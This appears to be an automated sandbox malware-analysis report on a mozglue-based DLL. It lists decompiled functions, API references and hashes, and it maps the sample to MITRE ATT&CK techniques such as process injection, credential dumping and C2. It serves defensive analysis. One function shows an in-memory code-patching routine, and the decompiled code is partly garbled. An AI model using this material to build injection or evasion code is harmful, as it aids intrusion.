SearchPathW.KERNEL32(00000000,?,.dll,00000001,?,00000000,06020000,?,?,6D862EF2,?,?,?,?), ref: 6D862B3B

Strings

.dll, xrefs: 6D862AF6, 6D862B32

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: PathSearch$memsetmoz_xmalloc
String ID: .dll
API String ID: 2146879955-2738580789
Opcode ID: b1af0b6d14ae0523654323190e226f7343c28961412a23c319729578d35b888e
Instruction ID: 4486d9f5aa5504505bfb72ed81ee02787e45eb67b730e6c904ac9d944d3cce68
Opcode Fuzzy Hash: b1af0b6d14ae0523654323190e226f7343c28961412a23c319729578d35b888e
Instruction Fuzzy Hash: AB012D76104259BFDB229E45D88DFAA77ACEB4A3A5B018494F908AB100D375A9108BB0

Uniqueness

Uniqueness Score: -1.00%

Function 6D862B50, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E6D862B50(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* _v20;
				void* _v24;
				struct _MEMORY_BASIC_INFORMATION _v40;
				signed int _t15;
				signed int _t33;
				void* _t36;
				void* _t43;
				intOrPtr* _t44;
				signed int _t45;

				_t15 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t15 ^ _t45;
				_t43 = __edx;
				_v12 = __ecx;
				if(__edx != 0) {
					_t33 = 7;
					memset( &_v40, 0, _t33 << 2);
					if(VirtualQuery(_t43,  &_v40, 0x1c) != 0) {
					}
				}
				_t39 =  ==  ? _t43 : E6D8627B0;
				_t44 =  *0x6d8800cc; // 0x0
				 *0x6d8792f4(_a4);
				_t36 =  ==  ? _t43 : E6D8627B0;
				 *_t44();
				return E6D8770C0(_v8 ^ _t45);
			}

0x6d862b56
0x6d862b5d
0x6d862b62
0x6d862b64
0x6d862b6c
0x6d862b70
0x6d862b76
0x6d862b87
0x6d862b87
0x6d862b87
0x6d862ba6
0x6d862ba9
0x6d862bb1
0x6d862bba
0x6d862bbc
0x6d862bce

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 6D862B7F
jemalloc_purge_freed_pages.MOZGLUE(?), ref: 6D862BB1

Strings

, xrefs: 6D862B93

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: QueryVirtualjemalloc_purge_freed_pages
String ID:
API String ID: 278593769-3916222277
Opcode ID: f4a2041f301dc462501e6032b97714046ce7de6e71c0ea27a74ef9d73529ccbd
Instruction ID: b8f58ac259d61c9499015e9350836c669a42b93aeccc860d1bab2e695e9ce9e9
Opcode Fuzzy Hash: f4a2041f301dc462501e6032b97714046ce7de6e71c0ea27a74ef9d73529ccbd
Instruction Fuzzy Hash: 0C01B572E41119DBDF14DE64C848FEEB7B9EB4A711F01446AE800A3240CB759E54CAE1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86EE3B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E6D86EE3B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v72;
				signed int _v76;
				intOrPtr _v80;
				char _v84;
				signed int _t18;
				void* _t20;
				signed int _t24;
				signed int _t41;

				_t18 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t18 ^ _t41;
				_t20 = E6D872080();
				asm("movsd xmm0, [ebp+0xc]");
				_v84 =  &_v72;
				_v80 = 0x40;
				_v76 = 0;
				asm("movsd [esp], xmm0");
				E6D874330(0, _t20, __edx, __edi, _a4,  &_v84,  &_v84,  &_v84, 0);
				 *((char*)(_v84 + _v76)) = 0;
				_v76 = _v76 | 0xffffffff;
				E6D86D7DC(_a4, _v84);
				_t24 = _v76;
				if(_t24 >= 0) {
					 *((char*)(_v84 + _t24)) = 0;
				}
				return E6D8770C0(_v8 ^ _t41);
			}

0x6d86ee41
0x6d86ee48
0x6d86ee50
0x6d86ee55
0x6d86ee5d
0x6d86ee66
0x6d86ee72
0x6d86ee75
0x6d86ee7a
0x6d86ee85
0x6d86ee8d
0x6d86ee91
0x6d86ee96
0x6d86ee9b
0x6d86eea0
0x6d86eea0
0x6d86eeb4

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE(?), ref: 6D86EE50
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE(?,?,?,00000000,?), ref: 6D86EE7A

Part of subcall function 6D874330: ?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(7FF00000,7FF00000,?,?,?,?,?,?,?,?,6D86EE7F,?,?,?,00000000,?), ref: 6D87437E

Strings

@, xrefs: 6D86EE66

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Converter@double_conversion@@Double$Builder@2@Builder@2@@Converter@DtoaEcmaHandleIeeeMode@12@@Number@ScriptShortestSpecialV12@Values@
String ID: @
API String ID: 2882438428-2766056989
Opcode ID: 216681f897c2fa6d90767cbb8bf5105718ff8ac8d8a377d5413330ddea81ac5d
Instruction ID: b30047efe4e68c09b07e71b4f468a7b6bea09804b3e2549d6c6d917aa4d7e5d6
Opcode Fuzzy Hash: 216681f897c2fa6d90767cbb8bf5105718ff8ac8d8a377d5413330ddea81ac5d
Instruction Fuzzy Hash: 47014C70A0421C9FDB15DFA8C8949AEBBB9FF09314F01065DE905AB340DB706D06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86B160, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E6D86B160(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				intOrPtr* _t11;
				signed int _t14;
				intOrPtr _t17;
				signed int _t20;
				intOrPtr _t21;
				void* _t23;
				void* _t24;
				intOrPtr _t26;

				_t11 = _a20;
				_t21 =  *((intOrPtr*)(_t11 + 4));
				_t23 = 1;
				_t17 =  *_t11;
				_t24 = _t21 - _a12;
				if(_t24 >= 0 && (_t24 > 0 || _t17 >= _a8)) {
					_t20 = _a16 + _a8;
					asm("adc eax, [ebp+0x10]");
					_t26 = _t21;
					if(_t26 <= 0 && (_t26 < 0 || _t17 <= _t20)) {
						_t14 = GetCurrentProcess();
						__imp__SymLoadModule64(_t14, 0, _a4, 0, _a8, _a12, _a16);
						if((_t14 | _t20) == 0) {
							_t23 = 0;
							E6D86ADB0(_t17, "SymLoadModule64");
						}
					}
				}
				return _t23;
			}

0x6d86b163
0x6d86b16a
0x6d86b16d
0x6d86b16e
0x6d86b170
0x6d86b173
0x6d86b181
0x6d86b184
0x6d86b187
0x6d86b189
0x6d86b1a1
0x6d86b1a8
0x6d86b1b0
0x6d86b1b7
0x6d86b1b9
0x6d86b1be
0x6d86b1b0
0x6d86b189
0x6d86b1c4

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000000,?,?,?), ref: 6D86B1A1
SymLoadModule64.DBGHELP(00000000), ref: 6D86B1A8

Strings

SymLoadModule64, xrefs: 6D86B1B2

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentLoadModule64Process
String ID: SymLoadModule64
API String ID: 3883536707-1984672147
Opcode ID: a41e9a0699f4798add86b8c088fc4014bc143dec103fdc3173c54369a00628fb
Instruction ID: db94b3b3955ca1c009b30ac83bc116b0dd79d66f3090da6f5a7442246baf1d15
Opcode Fuzzy Hash: a41e9a0699f4798add86b8c088fc4014bc143dec103fdc3173c54369a00628fb
Instruction Fuzzy Hash: 8301693620019ABBCB009F98CC48B9EB7AFFF49765F158811FA189B114D770F460CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D861BA2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D861BA2(void* __ecx) {
				short* _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* _t14;
				void* _t15;
				void* _t17;
				intOrPtr* _t22;
				void* _t28;
				void* _t29;

				_t28 = __ecx;
				_t29 = 0;
				if( *((intOrPtr*)(__ecx + 0x44)) > 0) {
					_t22 = __ecx + 4;
					do {
						_t15 =  *_t22;
						_v16 = _v16 & 0x00000000;
						_v8 = _t15;
						_v28 = _t15;
						_v24 = 2;
						_v20 = 0x40;
						_v12 = 0;
						if(E6D8627B5( &_v28) != 0) {
							 *_v8 = 0xff8b;
							FlushInstructionCache(GetCurrentProcess(), 0, 0);
						}
						_t17 = E6D861ACD( &_v28);
						_t29 = _t29 + 1;
						_t22 = _t22 + 4;
					} while (_t29 <  *((intOrPtr*)(_t28 + 0x44)));
					return _t17;
				}
				return _t14;
			}

0x6d861baa
0x6d861bac
0x6d861bb1
0x6d861bb4
0x6d861bb7
0x6d861bb7
0x6d861bbc
0x6d861bc0
0x6d861bc3
0x6d861bc6
0x6d861bcd
0x6d861bd4
0x6d861bdf
0x6d861bed
0x6d861bf7
0x6d861bf7
0x6d861c00
0x6d861c05
0x6d861c06
0x6d861c09
0x00000000
0x6d861c0e
0x6d861c14

APIs

Part of subcall function 6D8627B5: GetCurrentProcess.KERNEL32(?,?,?,?,?,6D861EDC,00000001), ref: 6D8627C4
Part of subcall function 6D8627B5: VirtualProtectEx.KERNEL32(00000000), ref: 6D8627CB

GetCurrentProcess.KERNEL32(00000000,00000000), ref: 6D861BF0
FlushInstructionCache.KERNEL32(00000000), ref: 6D861BF7

Strings

@, xrefs: 6D861BCD

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentProcess$CacheFlushInstructionProtectVirtual
String ID: @
API String ID: 1457589789-2766056989
Opcode ID: 17fc69d356e7ff871d418da67c570feb77dd0e1e5c6aa47e30960ff730d7e274
Instruction ID: 9cc209b29cf7d0be502e00765c9e4fd5bf2ab1672f6665d95727c98029f046e9
Opcode Fuzzy Hash: 17fc69d356e7ff871d418da67c570feb77dd0e1e5c6aa47e30960ff730d7e274
Instruction Fuzzy Hash: 0201A27180021AAFDF10EF98C859BAEBBB4FF06315F100555EA0467281D7756905CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6D861226, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E6D861226(void* __eflags, void** _a4, signed int _a8) {
				void* __ebx;
				void* __esi;
				void** _t12;
				int _t17;
				signed int _t18;
				void* _t21;
				void* _t22;
				void* _t23;

				_t18 = 2;
				_t17 =  ~(0 | __eflags > 0x00000000) | _a8 * _t18;
				_push(_t17);
				_t23 = E6D869300(_t17, _t21, _t22);
				if(_t23 == 0) {
					_t23 = 0;
					__eflags = 0;
				} else {
					memset(_t23, 0, _t17);
				}
				_t12 = _a4;
				 *_t12 = _t23;
				return _t12;
			}

0x6d861232
0x6d86123a
0x6d86123c
0x6d861242
0x6d861247
0x6d861257
0x6d861257
0x6d861249
0x6d86124d
0x6d861252
0x6d861259
0x6d86125c
0x6d861261

APIs

moz_xmalloc.MOZGLUE(00000000,AppInit_DLLs,00000001,?,6D862538,?,?,?,6D880138,00000001), ref: 6D86123D

Part of subcall function 6D869300: malloc.MOZGLUE(?,?,6D862424,00000008), ref: 6D869306

memset.VCRUNTIME140(00000000,00000000,00000000,AppInit_DLLs,00000001,?,6D862538,?,?,?,6D880138,00000001), ref: 6D86124D

Strings

AppInit_DLLs, xrefs: 6D86122D

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: mallocmemsetmoz_xmalloc
String ID: AppInit_DLLs
API String ID: 2469938690-2747295988
Opcode ID: 5cecf0217b17640b5de80ce12fcaf262ee48fa529343db825ff5d439ff99814e
Instruction ID: dde638f8b188422431c339338af6ae72ef2f4d37d445c62cce2cd24c970d0c14
Opcode Fuzzy Hash: 5cecf0217b17640b5de80ce12fcaf262ee48fa529343db825ff5d439ff99814e
Instruction Fuzzy Hash: 37E086B36463282EE6159AECACC9F6B779CDB05FB4F018525FF099B281D6609C0046E1

Uniqueness

Uniqueness Score: -1.00%

Function 6D864B38, Relevance: 5.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6D864B38(intOrPtr __ecx, void* __eflags, void* _a4, char _a8) {
				intOrPtr _v8;
				int _v12;
				char _v16;
				intOrPtr _t22;
				void* _t28;
				void* _t32;
				unsigned int _t38;
				intOrPtr _t45;
				void _t46;
				void* _t52;
				int _t53;
				struct _CRITICAL_SECTION* _t54;
				void* _t55;

				_t45 = __ecx;
				_v8 = __ecx;
				E6D8633B9( &_v16, _t52, _a4);
				_t53 = _v12;
				_t22 = _v16;
				if(_t22 == 0) {
					_t28 = ((E6D8680CF(_t53 >> 3) & 0x000000ff) << 5) + 0x48;
					L5:
					_pop(_t49);
					L6:
					_t6 = _t45 + 0xc; // 0xd
					_t54 = _t6;
					_a4 = _t28 + _t45;
					EnterCriticalSection(_t54);
					_t30 = _a4;
					_t46 =  *_a4;
					if(_t46 == 0 ||  *((intOrPtr*)(_t46 + 8)) == 0) {
						_t49 = _v8;
						_t46 = E6D863B18(_v8, _t30);
						_t30 = _a4;
						 *_a4 = _t46;
					}
					if(_t46 != 0) {
						_t32 = E6D8678AE(_t49, _t46, _t30);
						 *((intOrPtr*)(_t46 + 8)) =  *((intOrPtr*)(_t46 + 8)) - 1;
						_a4 = _t32;
						_push(_t54);
						if(_t32 == 0) {
							goto L11;
						}
						 *((intOrPtr*)(_v8 + 0x2c)) =  *((intOrPtr*)(_v8 + 0x2c)) + _t53;
						LeaveCriticalSection(??);
						_t55 = _a4;
						if(_a8 != 0) {
							memset(_t55, 0, _t53);
						}
						return _t55;
					} else {
						_push(_t54);
						L11:
						LeaveCriticalSection();
						return 0;
					}
				}
				_t38 = _t53;
				if(_t22 == 1) {
					_t28 = (_t38 >> 4 << 5) + 0x48;
					goto L6;
				}
				_t28 = ((E6D8680CF(_t38 >> 9) & 0x000000ff) << 5) + 0x448;
				goto L5;
			}

0x6d864b44
0x6d864b49
0x6d864b4c
0x6d864b54
0x6d864b57
0x6d864b5a
0x6d864b95
0x6d864b98
0x6d864b98
0x6d864b99
0x6d864b9b
0x6d864b9b
0x6d864b9f
0x6d864ba2
0x6d864ba8
0x6d864bab
0x6d864baf
0x6d864bb7
0x6d864bc0
0x6d864bc2
0x6d864bc5
0x6d864bc5
0x6d864bc9
0x6d864bd8
0x6d864bdd
0x6d864be0
0x6d864be5
0x6d864be8
0x00000000
0x00000000
0x6d864bed
0x6d864bf0
0x6d864bfa
0x6d864bfd
0x6d864c03
0x6d864c08
0x00000000
0x6d864bcb
0x6d864bcb
0x6d864bcc
0x6d864bcc
0x00000000
0x6d864bd2
0x6d864bc9
0x6d864b5f
0x6d864b61
0x6d864b7f
0x00000000
0x6d864b7f
0x6d864b72
0x00000000

APIs

EnterCriticalSection.KERNEL32(0000000D,00000000,?,00000000,00000000), ref: 6D864BA2
LeaveCriticalSection.KERNEL32(0000000D,00000000,?,00000000,00000000), ref: 6D864BCC
LeaveCriticalSection.KERNEL32(0000000D,00000000,?,00000000,00000000), ref: 6D864BF0
memset.VCRUNTIME140(00000000,00000000,00000000,?,00000000,00000000), ref: 6D864C03

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$Entermemset
String ID:
API String ID: 2581898777-0
Opcode ID: 40cbe94c8bb749e8a9dd1f5bf68a3755c8df901361788ffa408a89b6ddf99a57
Instruction ID: 1727ba5187c8681cd74222c346743db44405f61702e8980c592e8a896bdc7bd6
Opcode Fuzzy Hash: 40cbe94c8bb749e8a9dd1f5bf68a3755c8df901361788ffa408a89b6ddf99a57
Instruction Fuzzy Hash: D3219172A04259ABDB009EADC888B9D7778EF8A370F028859F904DB241D774DA44C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86D643, Relevance: 5.1, APIs: 4, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E6D86D643(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a4, void* _a12, int _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				char _v20;
				signed int _t31;
				intOrPtr _t34;
				void* _t35;
				void* _t46;
				intOrPtr _t50;
				void* _t54;
				intOrPtr _t56;
				void* _t58;
				void* _t61;
				intOrPtr _t64;
				int _t65;
				int _t67;
				void* _t68;

				_t54 = _a4;
				_t46 = __ecx;
				_v16 = __ecx;
				_t50 =  *((intOrPtr*)(__ecx + 0x10));
				_v12 = _t50;
				if(0x7fffffff - _t50 < _t54) {
					E6D86E468(_t50);
					asm("int3");
					asm("movsd xmm0, [ebp+0x8]");
					_t31 =  &_v20;
					asm("movsd [ebp+0x8], xmm0");
					__imp___dtest(_t31, _t68);
					return _t31 & 0xffffff00 | _t31 <= 0x00000000;
				} else {
					_t56 = _t50 + _t54;
					_v8 =  *((intOrPtr*)(__ecx + 0x14));
					_t34 = E6D86E2FF(__ecx, _t56);
					_t8 = _t34 + 1; // 0x1
					_t35 = E6D862949(_t8, 1, 1);
					 *((intOrPtr*)(_t46 + 0x14)) = _t34;
					_t64 = _v12;
					_a4 = _t35;
					 *((intOrPtr*)(_t46 + 0x10)) = _t56;
					_push(_t64);
					if(_v8 < 0x10) {
						memcpy(_t35, _t46, ??);
						_t58 = _a4 + _t64;
						_t65 = _a16;
						memcpy(_t58, _a12, _t65);
						 *((char*)(_t58 + _t65)) = 0;
					} else {
						memcpy(_t35,  *_t46, ??);
						_t61 = _a4 + _t64;
						_t67 = _a16;
						memcpy(_t61, _a12, _t67);
						 *((char*)(_t61 + _t67)) = 0;
						E6D8629EE(_v8 + 1,  *_t46, _v8 + 1, 1);
						_t46 = _v16;
					}
					 *_t46 = _a4;
					return _t46;
				}
			}

0x6d86d649
0x6d86d652
0x6d86d656
0x6d86d659
0x6d86d65e
0x6d86d663
0x6d86d703
0x6d86d708
0x6d86d70c
0x6d86d711
0x6d86d715
0x6d86d71a
0x6d86d728
0x6d86d669
0x6d86d66c
0x6d86d672
0x6d86d675
0x6d86d680
0x6d86d684
0x6d86d68c
0x6d86d693
0x6d86d696
0x6d86d699
0x6d86d69c
0x6d86d69d
0x6d86d6d5
0x6d86d6dd
0x6d86d6df
0x6d86d6e7
0x6d86d6ef
0x6d86d69f
0x6d86d6a3
0x6d86d6ab
0x6d86d6ad
0x6d86d6b5
0x6d86d6c0
0x6d86d6c6
0x6d86d6cb
0x6d86d6ce
0x6d86d6f7
0x6d86d700
0x6d86d700

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 6D86D6A3
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,?,?), ref: 6D86D6B5
memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 6D86D6D5
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,?,?), ref: 6D86D6E7

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: d661280a88a33e489f690daabdf2904f61e6b4b640e57ffecad323c9465dd29d
Instruction ID: af8e6a708b5630af9bc67e37bfc15e2df53217789c9d6f890f416db9b126a524
Opcode Fuzzy Hash: d661280a88a33e489f690daabdf2904f61e6b4b640e57ffecad323c9465dd29d
Instruction Fuzzy Hash: 6521A172904219ABCB14CF6CC884A9F7BA9FF49324F104468FA08AB245D771E9118BF1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
